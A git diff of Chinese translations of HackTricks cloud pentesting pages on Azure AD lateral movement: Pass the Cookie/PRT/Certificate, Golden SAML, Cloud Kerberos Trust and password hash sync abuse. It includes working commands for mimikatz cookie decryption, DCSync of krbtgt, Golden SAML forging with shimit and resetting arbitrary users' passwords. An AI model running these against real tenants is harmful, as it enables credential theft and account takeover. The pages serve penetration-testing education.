为所需用户(作为主题)颁发的证书,从一台机器认证到另一台机器,前提是两台机器都支持 **NegoEx** 认证机制。 简单来说: @@ -12,7 +12,7 @@ - 客户端创建一个包含 PRT 和其他详细信息的 JSON Web Token (JWT) 头,使用派生密钥(使用会话密钥和安全上下文)对其进行签名,并 **将其发送到 Azure AD**。 - Azure AD 使用客户端会话密钥和安全上下文验证 JWT 签名,检查 PRT 的有效性,并 **响应** 以 **证书**。 -在这种情况下,并在获取所有进行 [**Pass the PRT**](pass-the-prt.md) 攻击所需的信息后: +在这种情况下,并在获取所有所需信息以进行 [**Pass the PRT**](pass-the-prt.md) 攻击后: - 用户名 - 租户 ID @@ -20,7 +20,7 @@ - 安全上下文 - 派生密钥 -可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)** 请求用户的 **P2P 证书**: +可以使用工具 [**PrtToCert**](https://github.com/morRubin/PrtToCert)** 请求用户的 **P2P 证书**。 ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` @@ -28,7 +28,7 @@ RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx H ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` -## 参考文献 +## 参考 - 有关 Pass the Certificate 工作原理的更多细节,请查看原始帖子 [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 26ab3ae81..d94637bde 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## 攻击 -具有挑战性的是,这些 **cookies 是通过 Microsoft 数据保护 API (**DPAPI**) 加密的**。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),这些 cookies 属于该用户。您可以在以下链接找到更多信息: +具有挑战性的是,这些 **cookies 是为用户加密的**,通过 Microsoft 数据保护 API (**DPAPI**)。这是使用与用户相关的加密 [密钥进行加密](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),这些 cookies 属于该用户。您可以在以下位置找到更多信息: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords @@ -24,7 +24,7 @@ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -对于 Azure,我们关心的身份验证 cookie 包括 **`ESTSAUTH`**、**`ESTSAUTHPERSISTENT`** 和 **`ESTSAUTHLIGHT`**。这些 cookie 的存在是因为用户最近在 Azure 上活跃。 +对于 Azure,我们关心的认证 cookie 包括 **`ESTSAUTH`**、**`ESTSAUTHPERSISTENT`** 和 **`ESTSAUTHLIGHT`**。这些 cookie 的存在是因为用户最近在 Azure 上活跃。 只需导航到 login.microsoftonline.com 并添加 cookie **`ESTSAUTHPERSISTENT`**(由“保持登录”选项生成)或 **`ESTSAUTH`**。这样您将被认证。 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 7ea7a97e3..962624e9d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**查看帖子在** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 虽然另一个解释相同内容的帖子可以在 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 找到 +**查看帖子在** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) 尽管另一个解释相同内容的帖子可以在 [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) 找到 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 147ce9315..5bbe9280b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,12 +4,12 @@ ## **基本信息** -正如在[**这个视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw)中解释的,一些与云同步的Microsoft软件(Excel、Teams...)可能会**以明文形式在内存中存储访问令牌**。因此,仅仅**转储**该进程的**内存**并**grep JWT令牌**可能会让你绕过MFA,获得对受害者在云中多个资源的访问权限。 +如[**此视频**](https://www.youtube.com/watch?v=OHKZkXC4Duw)中所述,一些与云同步的Microsoft软件(Excel、Teams等)可能会**以明文形式在内存中存储访问令牌**。因此,仅仅**转储**该进程的**内存**并**grep JWT令牌**可能会让你绕过MFA,访问受害者在云中的多个资源。 步骤: 1. 使用你喜欢的工具转储与EntraID用户同步的Excel进程。 -2. 运行:`string excel.dmp | grep 'eyJ0'`,并在输出中找到多个令牌 +2. 运行:`string excel.dmp | grep 'eyJ0'`并在输出中找到多个令牌 3. 找到你最感兴趣的令牌,并对其运行工具: ```bash # Check the identity of the token diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 62f9e6b1f..5bd59ac38 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**这篇文章是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结,更多关于攻击的信息可以查看该链接。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中有评论。** +**这篇文章是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结,更多关于攻击的信息可以查看该链接。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中进行了讨论。** ## 基本信息 @@ -13,11 +13,11 @@ 因此,如果该账户被攻破,可能会伪装任何用户……尽管这并不完全正确,因为该账户被禁止为任何常见的特权 AD 组(如域管理员、企业管理员、管理员等)创建票证。 > [!CAUTION] -> 然而,在实际场景中,会有一些特权用户不在这些组中。因此,**如果新的 krbtgt 账户被攻破,可以用来伪装他们。** +> 然而,在实际场景中,会有一些特权用户不在这些组中。因此,**如果新创建的 krbtgt 账户被攻破,可以用来伪装这些用户。** ### Kerberos TGT -此外,当用户在 Windows 上使用混合身份进行身份验证时,**Azure AD** 将发放 **部分 Kerberos 票证以及 PRT。** TGT 是部分的,因为 **AzureAD 对用户在本地 AD 中的信息有限**(如安全标识符 (SID) 和名称)。\ +此外,当用户在 Windows 上使用混合身份进行身份验证时,**Azure AD** 将发出 **部分 Kerberos 票证以及 PRT。** TGT 是部分的,因为 **AzureAD 对用户在本地 AD 中的信息有限**(如安全标识符 (SID) 和名称)。\ Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个部分 TGT 交换一个完整的 TGT**。 ### NTLM @@ -26,9 +26,9 @@ Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个 ## 利用 Cloud Kerberos Trust 获取域管理员权限 -当 AzureAD 生成 **部分 TGT** 时,将使用它所拥有的关于用户的详细信息。因此,如果全球管理员能够修改数据,如 **AzureAD 中用户的安全标识符和名称**,在请求该用户的 TGT 时,**安全标识符将会不同**。 +当 AzureAD 生成 **部分 TGT** 时,它将使用关于用户的详细信息。因此,如果全球管理员能够修改 AzureAD 中用户的 **安全标识符和名称**,在请求该用户的 TGT 时,**安全标识符将会不同**。 -无法通过 Microsoft Graph 或 Azure AD Graph 来做到这一点,但可以使用 **API Active Directory Connect** 用于创建和更新同步用户的功能,全球管理员可以利用该功能 **修改任何混合用户的 SAM 名称和 SID**,然后如果我们进行身份验证,就会获得一个包含修改后 SID 的部分 TGT。 +无法通过 Microsoft Graph 或 Azure AD Graph 实现这一点,但可以使用 **API Active Directory Connect** 用于创建和更新同步用户的 API,全球管理员可以利用该 API **修改任何混合用户的 SAM 名称和 SID**,然后如果我们进行身份验证,就会获得包含修改后 SID 的部分 TGT。 请注意,我们可以使用 AADInternals 并通过 [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet 更新同步用户。 @@ -37,10 +37,10 @@ Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个 攻击的成功和获得域管理员权限依赖于满足某些前提条件: - 通过同步 API 修改账户的能力至关重要。这可以通过拥有全球管理员角色或拥有 AD Connect 同步账户来实现。或者,混合身份管理员角色也足够,因为它授予管理 AD Connect 和建立新同步账户的能力。 -- 存在一个 **混合账户** 是必要的。该账户必须能够修改为受害者账户的详细信息,并且应可用于身份验证。 +- 必须存在一个 **混合账户**。该账户必须能够修改为受害者账户的详细信息,并且应可用于身份验证。 - 必须识别出 Active Directory 中的 **目标受害者账户**。虽然攻击可以在任何已同步的账户上执行,但 Azure AD 租户必须没有复制本地安全标识符,因此需要修改一个未同步的账户以获取票证。 - 此外,该账户应具备域管理员等效权限,但必须不属于典型的 AD 管理员组,以避免 AzureAD RODC 生成无效的 TGT。 -- 最合适的目标是 **AD Connect Sync 服务使用的 Active Directory 账户**。该账户未与 Azure AD 同步,因此其 SID 是一个可行的目标,并且由于其在同步密码哈希中的角色,固有地具有域管理员等效权限(假设密码哈希同步处于活动状态)。对于快速安装的域,该账户以 **MSOL\_** 为前缀。对于其他实例,可以通过枚举所有在域对象上拥有目录复制权限的账户来确定该账户。 +- 最合适的目标是 **AD Connect Sync 服务使用的 Active Directory 账户**。该账户未与 Azure AD 同步,因此其 SID 是一个可行的目标,并且由于其在同步密码哈希中的角色,固有地具有域管理员等效权限(假设密码哈希同步处于活动状态)。对于快速安装的域,该账户以 **MSOL\_** 开头。对于其他实例,可以通过枚举所有在域对象上拥有目录复制权限的账户来确定该账户。 ### 完整攻击 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 4211e2345..e57df73fb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,4 +1,4 @@ -# Az - Default Applications +# Az - 默认应用程序 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index b2305a50b..151dbfe60 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -8,16 +8,16 @@ - **AzureAD 用户** 需要有一个代理地址(一个 **邮箱**) - 不需要许可证 -- **不能已经同步** +- 应该 **尚未同步** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -当在 AzureAD 中找到这样的用户时,为了 **从本地 AD 访问它**,您只需 **使用 SMTP 电子邮件的 proxyAddress 创建一个新帐户**。 +当在 AzureAD 中找到这样的用户时,为了 **从本地 AD 访问它**,您只需 **创建一个新帐户**,并使用 **proxyAddress** 作为 SMTP 电子邮件。 这样,该用户将 **自动从 AzureAD 同步到本地 AD 用户**。 > [!CAUTION] -> 请注意,要执行此攻击,您 **不需要域管理员权限**,您只需有权限 **创建新用户**。 +> 请注意,要执行此攻击,您 **不需要域管理员** 权限,您只需有 **创建新用户** 的权限。 > > 此外,这 **不会绕过 MFA**。 > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 2bca90ea2..7f94bfce1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -6,7 +6,7 @@ [来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。 -您可以将**本地**环境与**Azure AD**进行**联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户的**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。 +您可以**将本地环境与 Azure AD 联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
@@ -24,12 +24,12 @@
-1. 最初,用户访问一个应用程序(服务提供者或SP,例如AWS控制台或vSphere Web客户端)。根据具体实现,这一步可能会被绕过,直接将客户端引导到IdP(身份提供者)。 -2. 随后,SP识别适当的IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的IdP。 -3. IdP接管,进行用户身份验证。身份验证后,IdP生成SAMLResponse并通过用户转发给SP。 -4. 最后,SP评估SAMLResponse。如果成功验证,表明与IdP之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。 +1. 最初,用户访问一个应用程序(服务提供者或 SP,例如 AWS 控制台或 vSphere Web 客户端)。根据具体实现,这一步可能会被绕过,直接将客户端引导到 IdP(身份提供者)。 +2. 随后,SP 确定适当的 IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个 SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的 IdP。 +3. IdP 接管,进行用户身份验证。身份验证后,IdP 制定一个 SAMLResponse,并通过用户转发给 SP。 +4. 最后,SP 评估 SAMLResponse。如果成功验证,意味着与 IdP 之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。 -**如果您想了解更多关于SAML身份验证和常见攻击的信息,请访问:** +**如果您想了解更多关于 SAML 身份验证和常见攻击的信息,请访问:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,53 +37,53 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## 旋转 -- AD FS是基于声明的身份模型。 +- AD FS 是基于声明的身份模型。 - "..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。" -- 用户的声明写入SAML令牌中,然后由IdP签名以提供机密性。 -- 用户通过ImmutableID进行识别。它是全局唯一的,并存储在Azure AD中。 -- ImmutableID存储在本地作为ms-DS-ConsistencyGuid,用户和/或可以从用户的GUID派生。 +- 用户的声明写入 SAML 令牌中,然后由 IdP 签名以提供机密性。 +- 用户通过 ImmutableID 进行识别。它是全局唯一的,并存储在 Azure AD 中。 +- ImmutableID 存储在本地作为 ms-DS-ConsistencyGuid,供用户使用,和/或可以从用户的 GUID 派生。 - 更多信息请参见 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) -**黄金SAML攻击:** +**黄金 SAML 攻击:** -- 在ADFS中,SAML响应由令牌签名证书签名。 -- 如果证书被泄露,则可以作为任何同步到Azure AD的用户进行身份验证! -- 就像我们的PTA滥用一样,用户的密码更改或MFA不会产生任何影响,因为我们伪造了身份验证响应。 -- 可以从AD FS服务器提取证书,具有DA权限,然后可以从任何连接到互联网的机器上使用。 +- 在 ADFS 中,SAML 响应由令牌签名证书签名。 +- 如果证书被泄露,则可以作为任何同步到 Azure AD 的用户进行身份验证! +- 就像我们的 PTA 滥用一样,用户的密码更改或 MFA 不会产生任何影响,因为我们伪造了身份验证响应。 +- 可以从 AD FS 服务器提取证书,具有 DA 权限,然后可以从任何连接到互联网的机器上使用。 - 更多信息请参见 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) -### 黄金SAML +### 黄金 SAML -**身份提供者 (IdP)** 生成 **SAMLResponse** 以授权用户登录的过程至关重要。根据IdP的具体实现,**响应**可能会使用**IdP的私钥**进行**签名**或**加密**。此过程使**服务提供者 (SP)** 能够确认SAMLResponse的真实性,确保它确实是由受信任的IdP发出的。 +**身份提供者 (IdP)** 生成 **SAMLResponse** 以授权用户登录的过程至关重要。根据 IdP 的具体实现,**响应**可能会使用 **IdP 的私钥**进行**签名**或**加密**。此过程使 **服务提供者 (SP)** 能够确认 SAMLResponse 的真实性,确保它确实是由受信任的 IdP 发出的。 -可以与[黄金票证攻击](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket)进行类比,其中用于验证用户身份和权限的密钥(KRBTGT用于黄金票证,令牌签名私钥用于黄金SAML)可以被操纵以**伪造身份验证对象**(TGT或SAMLResponse)。这允许冒充任何用户,授予对SP的未授权访问。 +可以与 [黄金票证攻击](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) 进行类比,其中用于验证用户身份和权限的密钥(黄金票证的 KRBTGT,黄金 SAML 的令牌签名私钥)可以被操纵以**伪造身份验证对象**(TGT 或 SAMLResponse)。这允许冒充任何用户,授予对 SP 的未授权访问。 -黄金SAML提供某些优势: +黄金 SAML 提供某些优势: - 它们可以**远程创建**,无需成为相关域或联邦的一部分。 - 即使启用**双因素身份验证 (2FA)**,它们仍然有效。 -- 令牌签名**私钥不会自动续订**。 -- **更改用户的密码不会使**已生成的SAML失效。 +- 令牌签名的**私钥不会自动续订**。 +- **更改用户的密码不会使**已生成的 SAML 无效。 -#### AWS + AD FS + 黄金SAML +#### AWS + AD FS + 黄金 SAML -[活动目录联邦服务 (AD FS)]() 是一个Microsoft服务,促进受信任的商业伙伴之间**身份信息的安全交换**(联邦)。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。 +[活动目录联邦服务 (AD FS)]() 是一项 Microsoft 服务,促进受信任商业伙伴之间的**身份信息安全交换**(联邦)。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。 -由于AWS信任被攻陷的域(在联邦中),可以利用此漏洞潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签署SAML对象的私钥**,类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。 +由于 AWS 信任被攻陷的域(在联邦中),可以利用此漏洞潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签署 SAML 对象的私钥**,类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。 -执行黄金SAML攻击的要求包括: +执行黄金 SAML 攻击的要求包括: - **令牌签名私钥** -- **IdP公钥证书** -- **IdP名称** -- **角色名称(要假设的角色)** +- **IdP 公共证书** +- **IdP 名称** +- **角色名称(要承担的角色)** - 域\用户名 -- AWS中的角色会话名称 -- 亚马逊账户ID +- AWS 中的角色会话名称 +- 亚马逊账户 ID _只有加粗的项目是强制性的。其他项目可以根据需要填写。_ -要获取**私钥**,需要访问**AD FS用户帐户**。从那里,可以使用[mimikatz](https://github.com/gentilkiwi/mimikatz)等工具从个人存储中**导出私钥**。要收集其他所需信息,可以使用Microsoft.Adfs.Powershell snapin,如下所示,确保您以ADFS用户身份登录: +要获取**私钥**,需要访问**AD FS 用户帐户**。从那里,可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具**从个人存储中导出私钥**。要收集其他所需信息,可以使用 Microsoft.Adfs.Powershell snapin,如下所示,确保您以 ADFS 用户身份登录: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -97,7 +97,7 @@ _只有加粗的项目是强制性的。其他项目可以根据需要填写。_ # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 伪装成您想要冒充的用户,忘记一个有效的 SAMLResponse。 +通过所有信息,可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 忘记一个有效的 SAMLResponse,作为您想要冒充的用户。 ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 3bd950b3e..5ec6d9f93 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -11,9 +11,9 @@ 这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**。 所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\ -此外,**内置** 安全组(如域管理员等)不会 **同步** 到 Azure AD。 +此外,**内置** 安全组(如域管理员...)不会 **同步** 到 Azure AD。 -**哈希同步** 每 **2分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。 +**哈希同步** 每 **2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **账户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**。 当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。 @@ -23,23 +23,23 @@ 当配置 PHS 时,一些 **特权账户** 会自动 **创建**: -- 账户 **`MSOL_`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色(见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。 +- 账户 **`MSOL_`** 会在本地 AD 中自动创建。该账户被赋予 **目录同步账户** 角色(参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**。 - 账户 **`Sync__installationID`** 会在 Azure AD 中创建。该账户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。 -这两个特权账户的密码 **存储在 SQL 服务器** 上,该服务器上 **安装了 Azure AD Connect**。管理员可以提取这些特权用户的明文密码。\ +前两个特权账户的密码 **存储在 SQL 服务器** 上,该服务器上安装了 **Azure AD Connect**。管理员可以以明文形式提取这些特权用户的密码。\ 数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。 可以从其中一个表中提取配置,其中一个是加密的: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**加密配置** 使用 **DPAPI** 加密,包含本地 AD 中 `MSOL_*` 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。 +**加密配置** 是用 **DPAPI** 加密的,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些信息可以提升到 AD 和 AzureAD 的权限。 -您可以在此演讲中找到 [关于这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 +您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。 -### 查找 **Azure AD 连接服务器** +### 查找 **Azure AD Connect 服务器** -如果 **安装 Azure AD 连接的服务器** 加入了域(文档中推荐),可以通过以下方式找到它: +如果 **安装 Azure AD Connect 的服务器** 加入了域(文档中推荐),可以通过以下方式找到它: ```powershell # ActiveDirectory module Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl @@ -61,7 +61,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo ### 滥用 Sync\_\* -妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。 +妥协 **`Sync_*`** 账户可以 **重置任何用户(包括全局管理员)的密码**。 ```powershell # This command, run previously, will give us alse the creds of this account Get-AADIntSyncCredentials @@ -91,7 +91,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -可以转储该用户的密码。 +可以导出该用户的密码。 > [!CAUTION] > 另一个选项是**为服务主体分配特权权限**,而**Sync**用户有**权限**这样做,然后**访问该服务主体**作为特权提升的方法。 diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 5dc827c61..f3ec23a13 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,17 +12,17 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -在 SSO 状态部分,您应该看到 **`AzureAdPrt`** 设置为 **YES**。 +在SSO状态部分,您应该看到**`AzureAdPrt`**设置为**YES**。
-在同一输出中,您还可以看到 **设备是否已加入 Azure**(在字段 `AzureAdJoined` 中): +在同一输出中,您还可以看到**设备是否已加入Azure**(在字段`AzureAdJoined`中):
## PRT Cookie -PRT cookie 实际上被称为 **`x-ms-RefreshTokenCredential`**,它是一个 JSON Web Token (JWT)。JWT 包含 **3 个部分**,**头部**、**有效载荷**和 **签名**,由 `.` 分隔,并且全部是 URL 安全的 base64 编码。一个典型的 PRT cookie 包含以下头部和主体: +PRT cookie实际上被称为**`x-ms-RefreshTokenCredential`**,它是一个JSON Web Token (JWT)。JWT包含**3个部分**,即**头部**、**有效载荷**和**签名**,由`.`分隔,并且全部是url安全的base64编码。一个典型的PRT cookie包含以下头部和主体: ```json { "alg": "HS256", @@ -38,9 +38,9 @@ PRT cookie 实际上被称为 **`x-ms-RefreshTokenCredential`**,它是一个 J ### 使用 TPM 的 PRT Cookie 流 -**LSASS** 进程将向 TPM 发送 **KDF 上下文**,TPM 将使用 **会话密钥**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **密钥**,该 **派生密钥** 用于 **签名 PRT cookie (JWT)**。 +**LSASS** 进程将 **KDF context** 发送到 TPM,TPM 将使用 **session key**(在设备注册到 AzureAD 时收集并存储在 TPM 中)和先前的上下文来 **派生** 一个 **key,** 该 **派生密钥** 用于 **签名 PRT cookie (JWT)。** -**KDF 上下文是** 来自 AzureAD 的随机数和 PRT 创建的 **JWT**,混合了 